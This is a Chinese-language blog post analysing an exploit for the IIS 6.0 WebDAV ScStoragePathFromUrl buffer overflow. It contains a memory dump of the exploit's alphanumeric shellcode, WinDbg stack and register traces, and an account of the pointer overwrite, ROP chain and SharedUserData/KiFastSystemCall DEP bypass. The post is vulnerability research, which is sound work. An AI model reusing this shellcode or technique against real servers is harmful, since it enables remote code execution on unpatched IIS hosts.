09fd8bc8  a9e692a5 9785e593 e58ea1e3 8de688a5  ................
09fd8bd8  b1a5e495 e6a48de4 91e3b291 989de4a8  ................
09fd8be8  e3b985e7 ade6ab8d 88b5e695 e78f81e5  ................
09fd8bf8  91e386a9 94bde6b1 e58391e7 bde696a5  ................
09fd8c08  818de7af e69791e3 a9e7a885 859de3b2  ................
09fd8c18  e589b5e4 91e58e9d b8b0e488 e3ba99e3  ................
09fd8c28  89e6b295 83b9e6a6 e3ada1e4 85e68895  ................
09fd8c38  9ab5e4b7 e4b485e6 8de4b384 b289e5a5  ................
09fd8c48  e3a9b5e6 b9e4b199 b9b8e6a4 e6938de6  ................
09fd8c58  85e5a4ad b0bce486 e7afa1e7 9de69389  ................
09fd8c68  9395e490 e7a3a9e7 bde4b984 9691e493  ................
09fd8c78  e7b6bce6 a1e6b98d 96a9e7b7 e38a85e6  ................
09fd8c88  98e385a5 b9b0e6b9 e3b194e4 8de5b291  ................
09fd8c98  8aa1e5a5 e78e91e4 b0e684a9 96a9e5b5  ................
09fd8ca8  e68189e6 98e6b2b9 99a5e5b1 e3b390e5  ................
09fd8cb8  a1e58285 81a5e5a5 e39085e7 9de5b680  ................
09fd8cc8  9791e4b7 e1a18de5 a0e6808f 8fb9e683  ................
09fd8cd8  e680a0e6 a0e68fb9 8789e480 e1aa99e7  ................
09fd8ce8  a0e6808f 9789e483 e5b4bde4 88e587a5  ................
09fd8cf8  a6ade4b4 e782ade4 a1e7a491 8282e6af  ................
09fd8d08  e581a0e6 89e7b584 ba91e7ba e487b5e4  ................
09fd8d18  9de59991 9384eb97 e380a0e6 b9e6b685  ................
09fd8d28  a393e2af e181a0e6 a0e6a091 e780cc83  ................
09fd8d38  bfefbebf bfbfefbf e6808fe1 aed183a0  ................
09fd8d48  e783a0e6 91e7ae85 b490e1b0 e283a0e6  ................
09fd8d58  a0e6a7a7 918ee981 e380a0e6 99e6b1a4  ................
09fd8d68  95a5e4ae e59281e3 99e7ab91 8a89e7ab  ................
09fd8d78  e1a1a5e7 a0e69c90 85b8e683 e780a0e6  ................
09fd8d88  a5e7b29c a9b5e4a8 e4ac99e3 b5e4a891  ................
09fd8d98  8689e8b0 e480a0e6 89e3b7a1 aab6e193  ................
09fd8da8  e682a0e6 8ce4aabd b88fe1b5 e283a0e6  ................
09fd8db8  a0e6a7a7 59565681 34343441 34343434  .....VVYA4444444
09fd8dc8  51343434 58415441 50415a41 41513341  444QATAXAZAPA3QA
09fd8dd8  415a4144 41524142 4159414c 41514149  DAZABARALAYAIAQA
09fd8de8  41514149 41354150 41504141 4941315a  IAQAPA5AAAPAZ1AI
09fd8df8  41494131 314a4149 41494131 41584149  1AIAIAJ11AIAIAXA
09fd8e08  41413835 415a4150 51424142 49413149  58AAPAZABABQI1AI
09fd8e18  49414951 31314951 49413131 49514a41  QIAIQI1111AIAJQI
09fd8e28  41594131 4241425a 42414241 30334241  1AYAZBABABABAB30
09fd8e38  39425041 424a3434 57365836 4f37564d  APB944JB6X6WMV7O
09fd8e48  5a385a37 59385938 544d5432 4d31544a  7Z8Z8Y8Y2TMTJT1M
09fd8e58  59373130 31305136 45303130 534b534c  017Y6Q01010ELSKS
09fd8e68  534c4530 4d4a5333 54374b30 36304a30  0ELS3SJM0K7T0J06
09fd8e78  4b344b31 57375536 4c4a4b35 524d4c4f  1K4K6U7W5KJLOLMR
09fd8e88  4c4e5a35 564d5a30 4c354c35 5a31584d  5ZNL0ZMV5L5LMX1Z
09fd8e98  5630504c 4f354c33 5a4c5335 50345935  LP0V3L5O5SLZ5Y4P
09fd8ea8  5034544b 4f354f34 59335534 4e374c4a  KT4P4O5O4U3YJL7N
09fd8eb8  5038554c 5131504d 4b4d544d 50313530  LU8PMP1QMTMK051P
09fd8ec8  46305131 30305436 4c4c5a4e 55354b32  1Q0F6T00NZLL2K5U
09fd8ed8  58304f30 4e305036 4c30534b 53365036  0O0X6P0NKS0L6P6S
09fd8ee8  4f325338 55315134 36305831 57333130  8S2O4Q1U1X06013W
09fd8ef8  42304d37 4f355832 4f325235 544c3230  7M0B2X5O5R2O02LT
09fd8f08  4b4d504c 4c4b5537 54395931 51375a31  LPMK7UKL1Y9T1Z7Q
09fd8f18  574c4630 554b5232 58375031 4f33514b  0FLW2RKU1P7XKQ3O
09fd8f28  55325334 4430524c 51354e4a 4f315734  4S2ULR0DJN5Q4W1O
09fd8f38  514d4830 54334f4c 56395931 4f305638  0HMQLO3T1Y9V8V0O
09fd8f48  43305531 584b4c35 52305931 534d5132  1U0C5LKX1Y0R2QMS
09fd8f58  4f395534 54395432 4b354c4d 504d5230  4U9O2T9TML5K0RMP
09fd8f68  4f334530 51325a4a 4e4e534d 5131534b  0E3OJZ2QMSNNKS1Q
09fd8f78  4f344c34 59395135 4b39504d 53364b39  4L4O5Q9YMP9K9K6S
09fd8f88  5a4c4e4e 4e385931 4c4d4c4d 51385132  NNLZ1Y8NMLML2Q8Q
09fd8f98  55323030 5a303031 524b4f39 59334d31  002U100Z9OKR1M3Y
09fd8fa8  4d4a5435 584c4f37 55335038 5937594c  5TJM7OLX8P3ULY7Y
09fd8fb8  58375930 574d5934 554a4d35 5237594c  0Y7X4YMW5MJULY7R
09fd8fc8  524b4d31 5735514b 4e305830 4b315533  1MKRKQ5W0X0N3U1K
09fd8fd8  4f39504c 4c315031 50395733 4f4f5035  LP9O1P1L3W9P5POO
09fd8fe8  53324630 4e4a584d 534a4d4a 4e4a4b38  0F2SMXJNJMJS8KJN
09fd8ff8  3e41504b c0c0c000 ???????? ????????  KPA>....????????
09fd9008  ???????? ???????? ???????? ????????  ????????????????

之后发现是调用了ScConvertToWide,之后调用了MultiByteToWideChar就变成那样了,那么我们将我们的rop什么的地址使用WideCharToMultiByte转换后就行了,我们使用不是全字母的Shellcode,应该使用WideCharToMultiByte转换后也可以使用吧

0:018> kv
ChildEBP RetAddr  Args to Child              
0371f52c 7c81ff8c 0000002a 0000060b 0a056350 kernel32!UTF8ToUnicode+0x113 (FPO: [Non-Fpo])
0371f558 7c81fee6 0000fde9 00000000 0a0589a8 kernel32!UTFToUnicode+0xa3 (FPO: [Non-Fpo])
0371f5a8 673f7221 0000fde9 00000000 0a0589a8 kernel32!MultiByteToWideChar+0x44 (FPO: [Non-Fpo])
0371f71c 67406b08 0a056350 00000000 00000001 httpext!ScConvertToWide+0x152 (FPO: [Non-Fpo])
0371f7b0 673f5379 673e2028 00000001 0a04ad6c httpext!CRequest::LpwszGetHeader+0x9f (FPO: [Non-Fpo])
0371fc34 673f561e 0a048fc0 0a032c2e 0371fc78 httpext!HrCheckIfHeader+0x53 (FPO: [Non-Fpo])
0371fc44 673ef659 0a048fc0 0a032c2e 00000001 httpext!HrCheckStateHeaders+0x10 (FPO: [Non-Fpo])
0371fc78 673ef7c5 0a04ad58 0371fcd4 674104e2 httpext!CPropFindRequest::Execute+0xf0 (FPO: [Non-Fpo])
0371fc90 673f96f2 0a04ad58 00000004 0443fe20 httpext!DAVPropFind+0x47 (FPO: [Non-Fpo])
0371fce0 673e7bc6 0a034fa0 0a048fc0 0443fe20 httpext!CDAVExt::DwMain+0x12e (FPO: [Non-Fpo])
0371fe04 5a5c2991 0443fe20 0443eb60 0443f7b0 httpext!DwDavFSExtensionProc+0x3f (FPO: [Non-Fpo])
0371fe24 5a6368ff 0443fd90 673e7b87 0371fe50 w3isapi!ProcessIsapiRequest+0x214 (FPO: [Non-Fpo])
0371fe58 5a6367e0 00000000 00000000 0443eb60 w3core!W3_ISAPI_HANDLER::IsapiDoWork+0x3fd (FPO: [Non-Fpo])
0371fe78 5a636764 0371fee8 0443eb60 00000000 w3core!W3_ISAPI_HANDLER::DoWork+0xb0 (FPO: [Non-Fpo])
0371fe98 5a6366f4 0443eb60 00000000 0371fec4 w3core!W3_HANDLER::MainDoWork+0x16e (FPO: [Non-Fpo])

尝试总结作者的漏洞利用

利用第一次复制覆盖指向str缓存区的指针,这个指针存在于栈上,覆盖为680313c0,后面用到的IEcb对象的首地址。

那么第二次复制的时候就复制rop gadget和Shellcode到了680313c0,之后到ScStripAndCheckHttpPrefix触发漏洞,劫持控制流后,利用SharedUserData bypass DEP(这个不懂怎么绕过DEP的),执行Shellcode

调用KiFastSystemCall前,我们看看栈,第一个参数就是作者Shellcode的首地址,这是应该是返回地址吧,但是在KiFastSystemCall里面也用到了我们的返回地址,是不是执行完KiFastSystemCall,返回地址68031460那边就有执行权限呢

0:008> g
Breakpoint 2 hit
eax=0000008f ebx=7ffe0300 ecx=680313c0 edx=043df4f8 esi=68031460 edi=680124e3
eip=680124e3 esp=68031400 ebp=6e6f3176 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
rsaenh!HmacCheck+0x2c3:
680124e3 ff23            jmp     dword ptr [ebx]      ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c9585e8)}
0:008> dd esp
68031400  68031460 7ffe0300 ffffffff 680313c0
68031410  6803046e 00000040 68031434 680129e7
68031420  68009391 666e3931 30524955 766b546b
68031430  7961724a 6803141c 68006e05 79687732
68031440  366c4d69 4d704468 68008246 32534877
68031450  68021daa 43356f6a 680313f8 680129e7
68031460  00560056 00410059 00340034 00340034
68031470  00340034 00340034 00340034 00410051

其实不知道是不是之前执行过的原因(就是先发送一次payload,让w3wp进程出现才附加),导致没发送第二次的payload的时候,那个地址已经有执行权限了,反正看内存好像有上次攻击的一些数据

0:018> !address 68031400 


Failed to map Heaps (error 80004005)
Usage:                  Image
Allocation Base:        68000000
Base Address:           68031000
End Address:            68032000
Region Size:            00001000
Type:                   01000000    MEM_IMAGE
State:                  00001000    MEM_COMMIT
Protect:                00000040    PAGE_EXECUTE_READWRITE
More info:              lmv m rsaenh
More info:              !lmi rsaenh
More info:              ln 0x68031400

漏洞总结

ScStoragePathFromUrl中的qmemcpy没对输入的字符串的复制长度进行检查,导致缓存区溢出,由于有gs,利用比较困难而已

原文地址:https://www.cnblogs.com/cnsec/p/13286511.html